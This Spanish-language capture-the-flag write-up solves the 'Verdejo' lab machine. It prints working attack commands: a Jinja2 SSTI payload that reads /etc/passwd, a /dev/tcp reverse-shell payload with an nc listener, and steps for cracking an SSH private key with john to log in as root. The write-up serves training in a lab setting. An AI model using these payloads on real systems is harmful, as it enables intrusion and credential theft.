Verdejo
Introducción
Sección titulada «Introducción»Este artículo documenta la resolución de la máquina virtual Verdejo, desarrollada por The Hacker Labs y clasificada con un nivel de dificultad fácil. A través de un enfoque metódico, se abordan las fases de reconocimiento, explotación y escalada de privilegios, utilizando herramientas y técnicas habituales en entornos de Capture the Flag (CTF).
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Verdejo
- Autor: The Hacker Labs
- Dificultad: Fácil
- Fecha de creación: 22/05/2024
Paso 0: Instalación y Despliegue
Sección titulada «Paso 0: Instalación y Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo:
Ventana de terminal unzip Verdejo.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh Verdejo.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Identificación de la IP
Sección titulada «Identificación de la IP»Al iniciarse la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

Preparamos el entorno de trabajo:
mkdir Verdejocd Verdejomkt # Crea: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Ejecutamos un escaneo completo con nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos:
extractPorts allPorts
Se detectaron los siguientes servicios:
- 22 (SSH)
- 80 (HTTP): Página por defecto de Apache.
- 8089 (HTTP): Aplicación web desarrollada en Python.
Detección de Servicios
Sección titulada «Detección de Servicios»Realizamos un escaneo más profundo sobre los puertos relevantes:
nmap -sCV -p22,80,8089 172.17.0.2 -oN targeted
Enumeración Web (Puerto 80)
Sección titulada «Enumeración Web (Puerto 80)»Enumeramos posibles recursos web expuestos:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
El único recurso significativo encontrado fue index.html, correspondiente a la página por defecto de Apache.
Enumeración Web (Puerto 8089)
Sección titulada «Enumeración Web (Puerto 8089)»En este puerto accedemos a una aplicación con un formulario de entrada simple:

El campo de entrada parece vulnerable a Server-Side Template Injection (SSTI).
Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Validación de SSTI
Sección titulada «Validación de SSTI»Probamos una inyección básica para comprobar vulnerabilidad SSTI:
{{7*2}}Lo que produce 14 en la salida, confirmando la vulnerabilidad:

A continuación, realizamos una lectura del archivo /etc/passwd:
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
Reverse Shell
Sección titulada «Reverse Shell»-
En nuestra máquina local, abrimos un puerto:
Ventana de terminal nc -lvnp 443 -
Enviamos un payload para ejecución remota:
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"').read() }}
Obtenemos acceso como el usuario verde:

Paso 3: Escalada de Privilegios
Sección titulada «Paso 3: Escalada de Privilegios»Con el usuario verde, ejecutamos sudo -l y encontramos que se puede usar base64 como root:

Lectura de clave privada SSH
Sección titulada «Lectura de clave privada SSH»Buscamos una clave privada:
find / -name "id_rsa" 2>/dev/nullSi encontramos una clave protegida por contraseña, podemos intentar descifrarla con john:
ssh2john id_rsa > hashjohn hash --wordlist=/usr/share/wordlists/rockyou.txt
Una vez obtenida la contraseña, usamos la clave privada para acceder como root:
ssh -i id_rsa root@172.17.0.2
Conclusión
Sección titulada «Conclusión»La máquina Verdejo ofrece una ruta de explotación interesante a través de una vulnerabilidad de SSTI que permite escalar a RCE, seguida de una escalada mediante la exposición de una clave SSH cifrada. Una práctica ideal para reforzar conceptos de inyección, movimiento lateral y post-explotación en CTFs básicos.